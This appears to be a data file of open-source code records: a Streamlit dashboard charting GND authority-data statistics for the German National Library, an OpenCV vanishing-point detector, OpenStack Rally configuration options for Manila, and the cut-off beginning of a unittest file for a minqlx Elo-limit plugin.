{"text": "from matplotlib.pyplot import title\nimport streamlit as st\nimport pandas as pd\nimport altair as alt\nimport pydeck as pdk\nimport os\nimport glob\nfrom wordcloud import WordCloud\nimport streamlit_analytics\n\npath = os.path.dirname(__file__)\n\nstreamlit_analytics.start_tracking()\n\n@st.cache\ndef load_gnd_top_daten(typ):\n gnd_top_df = pd.DataFrame()\n for file in glob.glob(f'{path}/../stats/title_gnd_{typ}_*.csv'):\n gnd_top_df = gnd_top_df.append(pd.read_csv(file, index_col=None))\n return gnd_top_df\n\ndef sachbegriff_cloud():\n #wordcloud der top 100 sachbegriffe eines auszuw\u00e4hlenden tages der letzten 10 werktage\n st.header('TOP 100 Sachbegriffe pro Tag')\n st.write('W\u00e4hlen Sie ein Datum aus den letzten 10 Werktagen vor der letzten Aktualisierung der Daten des Dashboards und sehen Sie eine Wordcloud der 100 meistverwendeten GND-Sachbegriffe dieses Tages. Die Gr\u00f6\u00dfe des Begriffes entspricht der H\u00e4ufigkeit des Sachbegriffs.')\n files = glob.glob(f'{path}/../stats/*Ts-count.csv')\n daten = [x[-23:-13] for x in files]\n daten.sort()\n daten_filter = st.select_slider('W\u00e4hlen Sie ein Datum', options=daten, value=daten[-1])\n\n df = pd.read_csv(f'{path}/../stats/{daten_filter}-Ts-count.csv')\n \n dict = df.to_dict(orient='records')\n worte = {}\n for record in dict:\n worte.update({record['sachbegriff']:record['count']})\n\n wc = WordCloud(background_color=\"white\", max_words=100, width=2000, height=800, colormap='tab20')\n wc.generate_from_frequencies(worte)\n return st.image(wc.to_array())\n\ndef wirkungsorte():\n #ranking und karte der meistverwendeten wirkungsorte aller personen in der gnd\n df = pd.read_csv(f'{path}/wirkungsorte-top50.csv')\n df.drop(columns=['id'], inplace=True)\n df.rename(columns={'name': 'Name', 'count': 'Anzahl'}, inplace=True)\n\n st.header('TOP Wirkungsorte von GND-Personen')\n st.markdown('Von allen Personens\u00e4tzen (Tp) weisen 782.682 Angaben zum Wirkungsort der jeweiligen Person auf.')\n\n #Balkendiagramm\n orte_filt = st.slider('Zeige Top \u2026', min_value=3, max_value=len(df), value=10, step=1)\n graph_count = alt.Chart(df.nlargest(orte_filt, 'Anzahl', keep='all')).mark_bar().encode(\n alt.X('Name:N', sort='y'),\n alt.Y('Anzahl'),\n alt.Color('Name:N', legend=alt.Legend(columns=2)),\n tooltip=[alt.Tooltip('Name:N', title='Ort'), alt.Tooltip('Anzahl:Q', title='Anzahl')]\n )\n st.altair_chart(graph_count, use_container_width=True)\n\n #Karte\n INITIAL_VIEW_STATE = pdk.ViewState(\n latitude=50.67877877706058,\n longitude=8.129981238464392,\n zoom=4.5,\n max_zoom=16,\n bearing=0\n )\n\n scatterplotlayer = pdk.Layer(\n \"ScatterplotLayer\",\n df,\n pickable=True,\n opacity=0.5,\n stroked=True,\n filled=True,\n radius_min_pixels=1,\n radius_max_pixels=100,\n line_width_min_pixels=1,\n get_position='[lon, lat]',\n get_radius=\"Anzahl\",\n get_fill_color=[255, 140, 0],\n get_line_color=[0, 0, 0]\n)\n\n st.pydeck_chart(pdk.Deck(\n scatterplotlayer,\n initial_view_state=INITIAL_VIEW_STATE,\n map_style=pdk.map_styles.LIGHT,\n tooltip={\"html\": \"{Name}
Wirkungsort von {Anzahl} Personen\"}))\n\ndef wirkungsorte_musik():\n #nach jahrzehnten zwischen 1400 und 2010 gefilterte auswertung der GND-Musikwerke, Musik-Personen und Wikrungsorte und daraus abgeleitete Zentren der Musikkultur, dargestellt auf einer Karte\n musiker_orte = pd.read_csv(f'{path}/musiker_orte.csv', sep='\\t', index_col='idn')\n st.header('Wirkungszentren der Musik 1400\u20132010')\n st.write('Eine Auswertung der ver\u00f6ffentlichten Titel von Musikern und deren Wirkungszeiten erlaubt R\u00fcckschl\u00fcsse auf die musikalischen Zentren, wie sie im Bestand der DNB repr\u00e4sentiert sind.')\n limiter = st.slider('Jahresfilter', min_value=1400, max_value=int(musiker_orte['jahrzehnt'].max()), value=(1900), step=10)\n musik_filt= musiker_orte.loc[(musiker_orte['jahrzehnt'] == limiter)]\n musik_filt['norm']=(musik_filt['count']-musik_filt['count'].min())/(musik_filt['count'].max()-musik_filt['count'].min())\n #Karte\n INITIAL_VIEW_STATE = pdk.ViewState(\n latitude=50.67877877706058,\n longitude=8.129981238464392,\n zoom=4.5,\n max_zoom=16,\n bearing=0\n )\n\n musiker_scatter = pdk.Layer(\n \"ScatterplotLayer\",\n musik_filt,\n opacity=0.8,\n get_position='[lon, lat]',\n pickable=True,\n stroked=True,\n filled=True,\n radius_min_pixels=1,\n radius_max_pixels=100,\n radiusscale=100,\n line_width_min_pixels=1,\n get_radius=\"norm*50000\",\n get_fill_color=[50, 168, 92],\n get_line_color=[39, 71, 51]\n )\n\n st.pydeck_chart(pdk.Deck(\n musiker_scatter,\n initial_view_state=INITIAL_VIEW_STATE,\n map_style=pdk.map_styles.LIGHT,\n tooltip={\"html\": \"{name}\"}))\n st.subheader(f'TOP 10 Wirkungszentren der {limiter}er')\n col1, col2 = st.beta_columns(2)\n i = 1\n for index, row in musik_filt.nlargest(10, 'norm').iterrows():\n if i <= 5:\n with col1:\n st.write(f'{i}. {row[\"name\"]}')\n elif i > 5:\n with col2:\n st.write(f'{i}. {row[\"name\"]}')\n i += 1\n\ndef gesamt_entity_count():\n #Gesamtzahl der GND-Entit\u00e4ten\n with open(f\"{path}/../stats/gnd_entity_count.csv\", \"r\") as f:\n entities = f'{int(f.read()):,}'\n return st.write(f\"GND-Entit\u00e4ten gesamt: {entities.replace(',','.')}\")\n\ndef relationen():\n #Top 10 der GND-Relationierungscodes\n rels = pd.read_csv(f'{path}/../stats/gnd_codes_all.csv', index_col=False)\n st.subheader('Relationen')\n st.write('GND-Datens\u00e4tze k\u00f6nnen mit anderen Datens\u00e4tzen verlinkt (\u00bbrelationiert\u00ab) werden. Die Art der Verlinkung wird \u00fcber einen Relationierungscode beschrieben. Hier sind die am h\u00e4ufigsten verwendeten Relationierungscodes zu sehen. Die Aufl\u00f6sung der wichtigsten Codes gibt es [hier](https://wiki.dnb.de/download/attachments/51283696/Codeliste_ABCnachCode_Webseite_2012-07.pdf).')\n rels_filt = st.slider('Zeige Top ...', 5, len(rels), 10, 1)\n relation_count = alt.Chart(rels.nlargest(rels_filt, 'count', keep='all')).mark_bar().encode(\n alt.X('code', title='Relationierungs-Code', sort='-y'),\n alt.Y('count', title='Anzahl'),\n alt.Color('code', sort='-y', title='Relationierungscode'),\n tooltip=[alt.Tooltip('count', title='Anzahl'), alt.Tooltip('code', title='Code')]\n )\n st.altair_chart(relation_count, use_container_width=True)\n\n with open(f\"{path}/../stats/gnd_relation_count.csv\", \"r\") as f:\n relations = f'{int(f.read()):,}'\n st.write(f\"Relationen zwischen Entit\u00e4ten gesamt: {relations.replace(',','.')}\")\n\ndef systematik():\n #Ranking der meistverwendeten GND-Systematik-Notationen\n classification = pd.read_csv(f'{path}/../stats/gnd_classification_all.csv', index_col=False)\n st.subheader('Systematik')\n st.write('Die Entit\u00e4ten der GND k\u00f6nnen in eine Systematik eingeordnet werden. Die Liste der m\u00f6glichen Notationen gibt es [hier](http://www.dnb.de/gndsyst).')\n class_filt = st.slider('Zeige Top \u2026', 5, len(classification), 10, 1)\n classification_count = alt.Chart(classification.nlargest(class_filt, 'count', keep='all')).mark_bar().encode(\n alt.X('id', title='Notation', sort='-y'),\n alt.Y('count', title='Anzahl'),\n alt.Color('name', sort='-y', title=\"Bezeichnung\"),\n tooltip=[alt.Tooltip('id', title='Notation'), alt.Tooltip('name', title='Bezeichnung'), alt.Tooltip('count', title='Anzahl')]\n )\n return st.altair_chart(classification_count, use_container_width=True)\n\ndef systematik_ts():\n #Ranking der Systematik von Ts-S\u00e4tzen\n classification_ts = pd.read_csv(f'{path}/../stats/gnd_classification_Ts_all.csv', index_col=False)\n st.subheader('Systematik der Sachbegriffe')\n st.write('Die Entit\u00e4ten der GND k\u00f6nnen in eine Systematik eingeordnet werden. Hier sind die Systematik-Notationen der Sachbegriffe (Ts) aufgetragen. Die Liste der m\u00f6glichen Notationen gibt es [hier](http://www.dnb.de/gndsyst).')\n class_ts_filt = st.slider('Zeige TOP \u2026', min_value=5, max_value=len(classification_ts), value=10, step=1)\n classification_ts_count = alt.Chart(classification_ts.nlargest(class_ts_filt, 'count', keep='all')).mark_bar().encode(\n alt.X('id:N', title='Notation', sort='-y'),\n alt.Y('count:Q', title='Anzahl'),\n alt.Color('name:N', sort='-y', title='Bezeichnung'),\n tooltip = [alt.Tooltip('id', title='Notation'), alt.Tooltip('name', title='Bezeichnung'), alt.Tooltip('count', title='Anzahl')]\n )\n return st.altair_chart(classification_ts_count, use_container_width=True)\n\ndef zeitverlauf():\n #zeitverlauf der erstellung der GND-S\u00e4tze ab Januar 1972\n created_at = pd.read_csv(f'{path}/../stats/gnd_created_at.csv', index_col='created_at', parse_dates=True, header=0, names=['created_at', 'count'])\n \n st.subheader('Zeitverlauf der GND-Datensatzerstellung')\n st.write('Auf einer Zeitleiste wird die Anzahl der monatlich erstellten GND-S\u00e4tze aufgetragen. Die ersten S\u00e4tze stammen aus dem Januar 1972')\n created_filt = st.slider('Zeitraum', 1972, 2021, (1972,2021), 1)\n created = alt.Chart(created_at[f'{created_filt[0]}':f'{created_filt[1]}'].reset_index()).mark_line().encode(\n alt.X('created_at:T', title='Erstelldatum'),\n alt.Y('count:Q', title='S\u00e4tze pro Monat'),\n tooltip=['count']\n )\n return st.altair_chart(created, use_container_width=True)\n\ndef entities():\n #GND-Entit\u00e4ten nach Satzart und Katalogisierungslevel\n df = pd.read_csv(f'{path}/../stats/gnd_entity_types.csv', index_col=False, names=['entity','count'])\n df['level'] = df.entity.str[2:3]\n df.entity = df.entity.str[:2]\n\n if satzart == 'alle':\n\n entity_count = alt.Chart(df).mark_bar().encode(\n alt.X('sum(count)', title='Datens\u00e4tze pro Katalogisierungslevel'),\n alt.Y('entity', title='Satzart'),\n alt.Color('level', title='Katalogisierungslevel'),\n tooltip=[alt.Tooltip('entity', title='Satzart'), alt.Tooltip( 'level', title='Katalogisierungslevel'), alt.Tooltip('count', title='Anzahl')]\n )\n st.subheader('Entit\u00e4ten und Katalogisierungslevel')\n\n else:\n\n entity_count = alt.Chart(df.loc[df['entity'].str.startswith(satzart[:2])]).mark_bar().encode(\n alt.X('sum(count)', title='Datens\u00e4tze pro Katalogisierungslevel'),\n alt.Y('entity', title='Satzart'),\n alt.Color('level', title='Katalogisierungslevel'),\n tooltip=[alt.Tooltip( 'level', title='Katalogisierungslevel'), alt.Tooltip('count', title='Anzahl')]\n )\n st.subheader(f'Katalogisierungslevel in Satzart {satzart}')\n st.write('Alle GND-Entit\u00e4ten k\u00f6nnen in verschiedenen Katalogisierungsleveln (1-7) angelegt werden. Je niedriger das Katalogisierungslevel, desto verl\u00e4sslicher die Daten, weil Sie dann von qualifizierten Personen erstellt bzw. \u00fcberpr\u00fcft wurden.')\n return st.altair_chart(entity_count, use_container_width=True)\n\ndef newcomer():\n #TOP 10 der Entit\u00e4ten, die in den letzten 365 Tagen erstellt wurden\n if satzart == 'alle':\n st.subheader(f'TOP 10 GND-Newcomer')\n st.write('TOP 10 der GND-Entit\u00e4ten, die in den letzten 365 Tagen angelegt wurden.')\n newcomer_daten = pd.read_csv(f'{path}/../stats/title_gnd_newcomer_top10.csv', index_col=None)\n\n newcomer = alt.Chart(newcomer_daten).mark_bar().encode(\n alt.X('gnd_id', title='Entit\u00e4ten', sort='-y'),\n alt.Y('count', title='Anzahl'),\n alt.Color('name', sort='-y', title='Entit\u00e4t'),\n tooltip=[alt.Tooltip('name:N', title='Entit\u00e4t'), alt.Tooltip('bbg:N', title='Satzart'), alt.Tooltip('gnd_id:N', title='IDN'), alt.Tooltip('count:Q', title='Anzahl')]\n )\n\n else:\n st.subheader(f'TOP 10 {satzart} GND-Newcomer')\n st.write(f'TOP 10 der {satzart} S\u00e4tze, die in den letzten 365 Tagen angelegt wurden.')\n newcomer_daten = load_gnd_top_daten('newcomer_top10')\n\n newcomer = alt.Chart(newcomer_daten.loc[newcomer_daten['bbg'].str.startswith(satzart[:2], na=False)]).mark_bar().encode(\n alt.X('gnd_id:O', title='Entit\u00e4ten', sort='-y'),\n alt.Y('count', title='Anzahl'),\n alt.Color('name', sort='-y', title='Entit\u00e4t'),\n tooltip=[alt.Tooltip('name:N', title='Entit\u00e4t'), alt.Tooltip('gnd_id:N', title='IDN'), alt.Tooltip('count:Q', title='Anzahl')]\n )\n st.altair_chart(newcomer, use_container_width=True)\n\ndef gnd_top():\n #TOP 10 GND-Entit\u00e4ten in DNB-Titeldaten, nach Satzart gefiltert\n if satzart == 'alle':\n st.subheader(f'TOP 10 GND-Entit\u00e4ten in DNB-Titeldaten')\n top_daten = pd.read_csv(f'{path}/../stats/title_gnd_top10.csv', index_col=None)\n\n gnd_top = alt.Chart(top_daten).mark_bar().encode(\n alt.X('gnd_id:N', title='Entit\u00e4ten', sort='-y'),\n alt.Y('count:Q', title='Anzahl'),\n alt.Color('name:N', sort='-y', title='Entit\u00e4t'),\n tooltip=[alt.Tooltip('name:N', title='Entit\u00e4t'), alt.Tooltip('gnd_id:N', title='IDN'), alt.Tooltip('bbg:N', title='Satzart'), alt.Tooltip('count:Q', title='Anzahl')]\n )\n\n else:\n st.subheader(f'TOP 10 {satzart} in DNB-Titeldaten')\n top_daten = load_gnd_top_daten('top10')\n\n gnd_top = alt.Chart(top_daten.loc[top_daten['bbg'].str.startswith(satzart[:2], na=False)]).mark_bar().encode(\n alt.X('gnd_id:N', title='Entit\u00e4ten', sort='-y'),\n alt.Y('count:Q', title='Anzahl'),\n alt.Color('name:N', sort='-y', title='Entit\u00e4t'),\n tooltip=[alt.Tooltip('name:N', title='Entit\u00e4t'), alt.Tooltip('gnd_id:N', title='IDN'), alt.Tooltip('count:Q', title='Anzahl')]\n )\n st.write('Verkn\u00fcpfungen, die maschinell erzeugt wurden, aus Fremddaten stammen oder verwaist sind, wurden nicht in die Auswertung einbezogen. Eine detaillierte Auflistung der ausgewerteten Felder ist im [GitHub-Repository](https://git.io/JG5vN) dieses Dashboards dokumentiert.')\n st.altair_chart(gnd_top, use_container_width=True)\n\ndef dnb_links():\n #GND-Verkn\u00fcpfungen in DNB Titeldaten\n if satzart == 'alle':\n #Anzahl GND-Verkn\u00fcpfungen in DNB-Titeldaten\n with open(f\"{path}/../stats/title_gnd_links.csv\", \"r\") as f:\n links = f'{int(f.read()):,}'\n \n #GND-Entit\u00e4ten maschinell verkn\u00fcpft\n with open(f\"{path}/../stats/title_gnd_links_auto.csv\", \"r\") as f:\n auto_entites = int(f.read())\n\n #GND-Entit\u00e4ten aus Fremddaten\n with open(f\"{path}/../stats/title_gnd_links_ext.csv\", \"r\") as f:\n fremd_entities = int(f.read())\n\n #Anzahl der intellktuell verkn\u00fcpften GND-Entit\u00e4ten in DNB-Titeldaten\n with open(f\"{path}/../stats/title_gnd_links_unique.csv\", \"r\") as f:\n uniques = int(f.read())\n uniques_str = f'{uniques:,}'\n\n #Durchschnittliche Anzahl an GND-Verkn\u00fcpfungen pro DNB-Titeldatensatz\n with open(f\"{path}/../stats/title_gnd_mean.csv\", \"r\") as f:\n mean = str(round(float(f.read()),2)).replace('.',',')\n\n st.write(f\"{links.replace(',','.')} intellektuell vergebene Verkn\u00fcpfungen zu {uniques_str.replace(',','.')} GND-Entit\u00e4ten in den DNB-Titeldaten. Durchschnittlich {mean} GND-Verkn\u00fcpfungen pro DNB-Titeldatensatz\")\n\n entity_df = pd.DataFrame.from_dict({\"intellektuell verkn\u00fcpfte Entit\u00e4ten\": uniques, \"Entit\u00e4ten aus automatischen Prozessen\": auto_entites, \"Entit\u00e4ten aus Fremddaten\": fremd_entities}, orient = \"index\").reset_index()\n entity_df = entity_df.rename(columns={\"index\":\"Datenart\", 0:\"Anzahl\"})\n st.subheader('Datenherkunft der GND-Entit\u00e4ten in DNB-Titeldaten')\n st.write('Weniger als ein Drittel der GND-Entit\u00e4ten in DNB-Titeldaten wurde in intellektuellen Erschlie\u00dfungsprozessen vergeben. Jeweils ca. ein weiteres Drittel wurde in maschinellen Erschlie\u00dfungsprozessen vergeben, ca. ein Drittel stammt aus Fremddaten.')\n entities = alt.Chart(entity_df).mark_bar().encode(\n alt.X('sum(Datenart):N', title='Datenart'),\n alt.Y('sum(Anzahl):Q', title='Anzahl'),\n color='Datenart',\n tooltip='Anzahl:N'\n )\n st.altair_chart(entities, use_container_width=True)\n\n \n else:\n with open(f\"{path}/../stats/title_gnd_mean_{satzart[:2]}.csv\", \"r\") as f:\n mean = str(round(float(f.read()),2)).replace('.',',')\n st.write(f'Durchschnittlich {mean} Verkn\u00fcpfungen zu {satzart}-S\u00e4tzen pro DNB-Titeldatensatz')\n\n#main\nst.title('GND-Dashboard')\n\n#infoebereich oben\nwith st.beta_container():\n st.info('Hier finden Sie statistische Auswertungen der GND und ihrer Verkn\u00fcpfungen mit den Titeldaten der Deutschen Nationalbibliothek (Stand der Daten: Juli 2021). W\u00e4hlen Sie links die Satzart, die Sie interessiert, und Sie erhalten die verf\u00fcgbaren Auswertungen und Statstiken. Verwenden Sie einen auf Chromium basierenden Browser.')\n with st.beta_expander(\"Methodik und Datenherkunft\"):\n st.markdown('''\nDatengrundlage ist ein Gesamtabzug der Daten der Gemeinsamen Normadatei (GND) sowie der Titeldaten der Deutschen Nationalbibliothek (DNB) inkl. Zeitschriftendatenbank (ZDB), sofern sich Exemplare der Zeitschrift im Bestand der DNB befinden. In den Titeldaten ist auch der Tontr\u00e4ger- und Notenbestand des Deutschen Musikarchivs (DMA) sowie der Buch- und Objektbestand des Deutschen Buch- und Schriftmuseums (DBSM) nachgewiesen.\n\nDer Gesamtabzug liegt im OCLC-Format PICA+ vor. Die Daten werden mithilfe des Pica-Parsers [pica.rs](https://github.com/deutsche-nationalbibliothek/pica-rs) gefiltert. Dieses Tool produziert aus dem sehr gro\u00dfen Gesamtabzug (~ 31 GB) kleinere CSV-Dateien, die mit Python weiterverarbeitet werden.\n\nDas Dashboard ist mit dem Python-Framework [Streamlit](https://streamlit.io/) geschrieben. Die Skripte sowie die gefilterten CSV-Rohdaten sind auf [Github](https://github.com/buchmuseum/GND_Dashboard) zu finden. Die Diagramme wurden mit [Altair](https://altair-viz.github.io/index.html) erstellt, die Karten mit [Deck GL](https://deck.gl/) (via [Pydeck](https://deckgl.readthedocs.io/en/latest/#)), die Wordcloud mit [wordcloud](https://amueller.github.io/word_cloud/index.html).\n\nF\u00fcr grundlegende Zugriffsstatistik verwenden wir [streamlit-analytics](https://pypi.org/project/streamlit-analytics/). Dabei werden keine personenbezogenen Daten gespeichert.\n\nAlle Skripte und Daten stehen unter CC0 Lizenz und k\u00f6nnen frei weitergenutzt werden.\n\nDie Daten werden monatlich aktualisiert.\n''')\n\n#sidebar mit satzartenfilter\nst.sidebar.header(\"Satzart w\u00e4hlen\")\nsatzart = st.sidebar.selectbox(\n \"\u00dcber welche GND-Satzart m\u00f6chten Sie etwas erfahren?\",\n ('alle', \"Tp - Personen\", \"Tb - K\u00f6rperschaften\", \"Tg - Geografika\", \"Ts - Sachbegriffe\", \"Tu - Werke\", \"Tf - Veranstaltungen\")\n)\nst.sidebar.info('Diese Widgets haben die GitHub-User [niko2342](https://github.com/niko2342/), [ramonvoges](https://github.com/ramonvoges), [a-wendler](https://github.com/a-wendler/) sowie Christian Baumann geschrieben. Sie geh\u00f6ren zur Python Community der Deutschen Nationalbibliothek.')\n\ngnd_allgemein = st.beta_container()\nwith gnd_allgemein:\n st.header('GND Statistik allgemein')\n #allgemeine statistiken in abh\u00e4ngigkeit der satzart\n if satzart == 'alle':\n gesamt_entity_count()\n entities()\n newcomer()\n zeitverlauf()\n relationen()\n systematik()\n else:\n entities()\n newcomer()\n \n #besondere widgets f\u00fcr einzelne satzarten\n if satzart == \"Tp - Personen\":\n wirkungsorte()\n elif satzart == \"Tg - Geografika\":\n wirkungsorte_musik()\n wirkungsorte()\n elif satzart == \"Ts - Sachbegriffe\":\n sachbegriff_cloud()\n systematik_ts()\n\ndnb = st.beta_container()\nwith dnb:\n st.header('GND in der Deutschen Nationalbibliothek')\n gnd_top()\n dnb_links()\n\nstreamlit_analytics.stop_tracking()", "source": "buchmuseum/GND_Dashboard", "license": "CC0-1.0"} {"text": "import cv2 as cv\nimport numpy as np\nimport copy\nimport math\nimport Edges\nimport INTPoint\n\neps = 1e-7\nvotes = {}\nGroups = []\nVPoints = []\nCenters = []\nCluster = []\nvoters = {}\ndef getEdges(image):\n #moved to Edges.py\n return Edges.getEdges(image)\n\ndef getLines(edges):\n #moved to Edges.py\n return Edges.getLines(edges)\n\ndef checkRound(pos,edges):\n #moved to Edges.py\n return Edges.checkRound(pos,edges)\n\ndef outOfSize(pos,edges):\n #moved to Edges.py\n return Edges.outOfSize(pos,edges)\n\ndef extenLine(line,edges):\n #moved to Edges.py\n return Edges.extenLine(line,edges)\n\ndef extenLines(lines,edges):\n #moved to Edges.py\n return Edges.extenLines(lines,edges)\n\ndef shouldMerge(line1,line2):\n #moved to Edges.py\n return Edges.shouldMerge(line1,line2)\n\ndef mergeLines(lines):\n #moved to Edges.py\n return Edges.mergeLines(lines)\n\ndef getLineABC(line):\n #moved to Edges.py\n return Edges.getLineABC(line)\n\ndef getCirAnch(a,b):\n #moved to Edges.py\n return Edges.getCirAnch(a,b)\n\ndef getCrossPoint(linea,lineb):\n #moved to INTPoint.py\n return INTPoint.getIntersectPoint(linea,lineb)\n\ndef sortLines(lines):\n #moved to Edges.py\n return Edges.sortLines(lines)\n\ndef getVPoints2(lines,arange = 0.2617):\n #moved to INTPoint.py\n global VPoints\n VPoints = INTPoint.getVPoints2(lines,arange)\n return VPoints\n\ndef getVPoints(num = 16):\n #this function is fallen into disuse because of the low speed\n for i in range(0,num + 1,1):\n lens = len(Groups[i])\n for j in range(0,lens,1):\n for k in range(j+1,lens,1):\n VPoints.append(getCrossPoint(Groups[i][j],Groups[i][k]))\n\ndef removeSame(list):\n #moved to INTPoint.py\n return INTPoint.removeSame(list)\n\ndef getLinesLength(line):\n #moved to INTPoint.py\n return INTPoint.getLinesLength(line)\n\ndef getMidPoint(line):\n #moved to INTPoint.py\n return INTPoint.getMidPoint(line)\n\ndef getArch(line,point):\n #moved to INTPoint.py\n return INTPoint.getArch(line,point)\n\ndef voteForPoint(lines):\n #moved to INTPoint.py\n global votes\n global voters\n votes,voters = INTPoint.voteForPoint(lines,VPoints)\n return\n\ndef getGraPoint(points):\n count = 1.0\n sumx = 0.0\n sumy = 0.0\n for point in points:\n w = votes[point]\n count += w\n sumx += w * point[0]\n sumy += w * point[1]\n return (sumx/count,sumy/count)\n\ndef devideIntoPoints(Points):\n global Cluster\n lens = len(Cluster)\n for i in range(0,lens,1):\n Cluster[i] = []\n \n for point in Points:\n if point[0] == 'p' or point[0] == 'h' or point[0] == 'v':\n continue\n if votes[point] == 0:\n continue\n minlens = 1e15\n minpos = 0\n now = -1\n for cen in Centers:\n now += 1\n lens = getLinesLength((point[0],point[1],cen[0],cen[1]))\n if lens < minlens:\n minlens = lens\n minpos = now\n Cluster[minpos].append(point)\n\ndef KMean(points,K = 3,step = 50):\n global Cluster\n global Centers\n Cluster = []\n Centers = []\n if K == 1:\n step = 1\n for i in range(0,K,1):\n Cluster.append([])\n Centers.append([0,0])\n \n count = 0\n for point in points:\n if point[0] != 'p' and point[0] != 'v' and point[0] != 'h' and votes[point] != 0:\n Centers[count][0] = point[0]\n Centers[count][1] = point[1]\n count += 1\n if count == K:\n break\n\n for i in range(0,step,1):\n devideIntoPoints(points)\n for i in range(0,K,1):\n Centers[i] = getGraPoint(Cluster[i])\n\ndef getFinal(points):\n count = 0.0\n num = 0\n p1 = 0.0\n ret1 = []\n p2 = 0.0\n ret2 = []\n for item in votes:\n if item[0] == 'p' or item[0] == 'h' or item[0] == 'v':\n if votes[item] > p1:\n p2 = p1\n ret2 = ret1\n p1 = votes[item]\n ret1 = item\n else:\n if votes[item] > p2:\n p2 = votes[item]\n ret2 = item\n else:\n count += votes[item]\n num += 1\n K = 3\n ret = []\n count = count / num * 0.1\n if p1 > count:\n K -= 1\n ret.append(ret1)\n if p2 > count:\n K -= 1\n ret.append(ret2)\n KMean(points,K)\n for i in range(0,K,1):\n ret.append(Centers[i])\n return ret\n\ndef deal(inputname,outputname):\n global votes\n global Groups\n global VPoints\n global Centers\n global Cluster\n global voters\n votes = {}\n Groups = []\n VPoints = []\n Centers = []\n Cluster = []\n voters = {}\n image = cv.imread(inputname)\n edges = getEdges(image)\n cv.imwrite(outputname + 'edges.jpg',edges)\n lines = getLines(edges)\n lines2 = copy.deepcopy(lines)\n lines2 = extenLines(lines2,edges)\n lines2 = mergeLines(lines2)\n\n #devideIntoGroups(lines2,3)\n lines2 = sortLines(lines2)\n getVPoints2(lines2)\n\n VPoints = removeSame(VPoints)\n voteForPoint(lines2)\n votes2 = sorted(votes.iteritems(),key=lambda votes:votes[1],reverse=True)\n lenofvotes = min(len(votes2),max(5,int(len(votes2) * 0.2)))\n votesFinal = {}\n VPoints = []\n for i in range(0,lenofvotes,1):\n votesFinal[votes2[i][0]] = votes2[i][1]\n VPoints.append(votes2[i][0])\n for i in range(lenofvotes,len(votes2),1):\n if votes2[i][0][0] == 'h' or votes2[i][0][0] == 'v' or votes2[i][0][0] == 'p':\n votesFinal[votes2[i][0]] = votes2[i][1]\n VPoints.append(votes2[i][0])\n votes = votesFinal\n ans = getFinal(VPoints)\n print ans\n edges = cv.cvtColor(edges,cv.COLOR_GRAY2BGR)\n edges2 = copy.deepcopy(edges)\n for item in lines:\n if item[0] == 'N':\n continue\n cv.line(edges,(item[0],item[1]),(item[2],item[3]),(0,0,255),2)\n for item in lines2:\n cv.line(edges2,(item[0],item[1]),(item[2],item[3]),(0,0,255),2)\n color = [255,0,0,0]\n for clu in Cluster:\n for i in range(0,4,1):\n if color[i] == 255:\n color[i+1] = 255\n color[i] = 0\n break\n for point in clu:\n if point[0] > 0 and point[1] > 0:\n if point[0] < edges.shape[1] and point[1] < edges.shape[0]:\n if votes[point] == 0:\n continue\n cv.line(edges2,(int(point[0]),int(point[1])),(int(point[0]),int(point[1])),(color[1],color[2],color[3]),10)\n for point in ans:\n if point[0] > 0 and point[1] > 0:\n if point[0] < edges.shape[1] and point[1] < edges.shape[0]:\n cv.line(edges2,(int(point[0]),int(point[1])),(int(point[0]),int(point[1])),(255,255,255),10)\n\n cv.imwrite(outputname + 'linedetect.jpg',edges)\n cv.imwrite(outputname + 'answer.jpg',edges2)\n fd = open(outputname + 'answer.txt','w')\n fd.write('(' + str(ans[0][0]) + ',' + str(ans[0][1]) + ')(' + str(ans[1][0]) + ',' + str(ans[1][1]) + ')(' + str(ans[2][0]) + ',' + str(ans[2][1]) + ')')\n fd.close\n\ndeal(\"data/1.jpg\",'1')", "source": "SymenYang/Vanish-Point-Detect", "license": "MIT"} {"text": "# Copyright 2013: Mirantis Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom rally.common import cfg\n\nOPTS = {\"openstack\": [\n cfg.FloatOpt(\n \"manila_share_create_prepoll_delay\",\n default=2.0,\n deprecated_group=\"benchmark\",\n help=\"Delay between creating Manila share and polling for its \"\n \"status.\"),\n cfg.FloatOpt(\n \"manila_share_create_timeout\",\n default=300.0,\n deprecated_group=\"benchmark\",\n help=\"Timeout for Manila share creation.\"),\n cfg.FloatOpt(\n \"manila_share_create_poll_interval\",\n default=3.0,\n deprecated_group=\"benchmark\",\n help=\"Interval between checks when waiting for Manila share \"\n \"creation.\"),\n cfg.FloatOpt(\n \"manila_share_delete_timeout\",\n default=180.0,\n deprecated_group=\"benchmark\",\n help=\"Timeout for Manila share deletion.\"),\n cfg.FloatOpt(\n \"manila_share_delete_poll_interval\",\n default=2.0,\n deprecated_group=\"benchmark\",\n help=\"Interval between checks when waiting for Manila share \"\n \"deletion.\"),\n cfg.FloatOpt(\n \"manila_access_create_timeout\",\n default=300.0,\n deprecated_group=\"benchmark\",\n help=\"Timeout for Manila access creation.\"),\n cfg.FloatOpt(\n \"manila_access_create_poll_interval\",\n default=3.0,\n deprecated_group=\"benchmark\",\n help=\"Interval between checks when waiting for Manila access \"\n \"creation.\"),\n cfg.FloatOpt(\n \"manila_access_delete_timeout\",\n default=180.0,\n deprecated_group=\"benchmark\",\n help=\"Timeout for Manila access deletion.\"),\n cfg.FloatOpt(\n \"manila_access_delete_poll_interval\",\n default=2.0,\n deprecated_group=\"benchmark\",\n help=\"Interval between checks when waiting for Manila access \"\n \"deletion.\"),\n]}\n", "source": "RSE-Cambridge/rally-openstack", "license": "Apache-2.0"} {"text": "from minqlx_plugin_test import *\n\nimport logging\nimport unittest\n\nfrom mockito import *\nfrom mockito.matchers import *\nfrom hamcrest import *\n\nfrom redis import Redis\n\nfrom merciful_elo_limit import *\n\n\nclass MercifulEloLimitTests(unittest.TestCase):\n\n def setUp(self):\n setup_plugin()\n setup_cvars({\n \"qlx_mercifulelo_minelo\": \"800\",\n \"qlx_mercifulelo_applicationgames\": \"10\",\n \"qlx_mercifulelo_abovegames\": \"10\",\n \"qlx_mercifulelo_daysbanned\": \"30\",\n \"qlx_owner\": \"42\"\n })\n\n setup_game_in_progress()\n self.plugin = merciful_elo_limit()\n self.reply_channel = 